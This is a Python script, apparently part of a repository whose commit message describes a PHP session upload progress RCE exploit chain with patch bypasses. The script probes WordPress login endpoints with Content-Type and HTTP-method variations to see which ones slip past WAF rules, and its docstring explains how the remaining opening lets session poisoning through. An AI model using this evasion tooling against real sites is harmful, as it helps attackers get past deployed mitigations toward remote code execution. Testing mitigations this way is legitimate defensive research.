Files
php2shell/bypass/waf_bypass_test.py
T
neko e58bb493af PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)
Full RCE exploit chain for two critical PHP vulnerabilities in the multipart
parser and session upload progress handler, plus three bypass exploits that
defeat the official security patch (PHP 8.4.27) and all recommended mitigations.

Core exploits:
- CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE
- CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE
- WordPress-targeted wrapper with LFI auto-detection

Patch bypass exploits (confirmed RCE on PHP 8.4.27):
- Race condition: TOCTOU inherent to upload progress feature design
- RLIMIT_AS: mmap() failure bypasses the patched OOM handler
- /proc/PID/fd: temp file inclusion bypasses ALL mitigations
2026-10-21 11:29:40 -05:00

145 lines
5.7 KiB
Python
Executable File

#!/usr/bin/env python3
"""
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
Tests Content-Type evasion techniques against nginx/Apache WAF rules
that block multipart/form-data POST requests.
Tested against the community-recommended mitigations from:
- PasqualePillitteri/php2shell-hardening
- syhunt/php2shell-protection
Findings:
1. PUT/PATCH methods bypass POST-only WAF rules
- PHP 8.4's request_parse_body() parses multipart on these methods
- Session upload progress only fires on POST (rfc1867 handler)
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
- nginx $http_content_type returns the first header value
- FastCGI CONTENT_TYPE joins all headers with ", "
- PHP truncates at first comma → takes the first value
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
3. Content-Type with reversed comma order bypasses nginx but not PHP
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
- PHP truncates at comma → "text/plain" → no multipart parsing
- Same as #2: passes WAF but useless for the attack
4. The effective WAF bypass for the session poisoning attack is:
- If the WAF blocks multipart POST but allows normal POST
- AND the application has session.upload_progress.enabled=1
- The attacker can still race with the session file (no multipart needed for LFI)
- Only the POISON request needs multipart; the LFI probe is a normal GET
Usage:
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
"""
import argparse
import socket
import sys
def send_request(host, port, method, path, headers, body=b""):
"""Send raw HTTP request and return status code."""
sock = socket.create_connection((host, port), timeout=10)
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
for k, v in headers.items():
if isinstance(v, list):
for val in v:
req += f"{k}: {val}\r\n".encode()
else:
req += f"{k}: {v}\r\n".encode()
if body:
req += f"Content-Length: {len(body)}\r\n".encode()
req += b"Connection: close\r\n\r\n"
if body:
req += body
sock.sendall(req)
resp = b""
sock.settimeout(5)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except:
pass
sock.close()
try:
return int(resp.split(b" ")[1])
except:
return 0
def run_tests(waf_host, waf_port, plain_host, plain_port):
bnd = "----WAFTEST"
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
tests = [
("Standard multipart POST",
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("Mixed case: Multipart/Form-Data",
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
("ALL CAPS: MULTIPART/FORM-DATA",
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
("Leading whitespace",
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
("Comma-separated (multipart first)",
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
("Comma-separated (text/plain first)",
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
("Duplicate CT (text/plain first)",
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
("Duplicate CT (multipart first)",
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
("PUT method",
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("PATCH method",
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
]
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
print("-" * 75)
for name, method, headers in tests:
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
if waf_code != 403:
bypass = f"WAF:{waf_code}"
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
def main():
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
ap.add_argument("--target", required=True, help="WAF-protected URL")
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
args = ap.parse_args()
from urllib.parse import urlparse
waf = urlparse(args.target)
plain = urlparse(args.unprotected)
print("=" * 75)
print(" WAF Bypass Tests for php2shell Mitigations")
print("=" * 75)
print(f" WAF target : {args.target}")
print(f" Unprotected : {args.unprotected}")
print()
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
print()
print("Notes:")
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
print(" - The race exploit only needs multipart for the POISON request (POST)")
print(" - The LFI probe is a normal GET, which no WAF blocks")
if __name__ == "__main__":
main()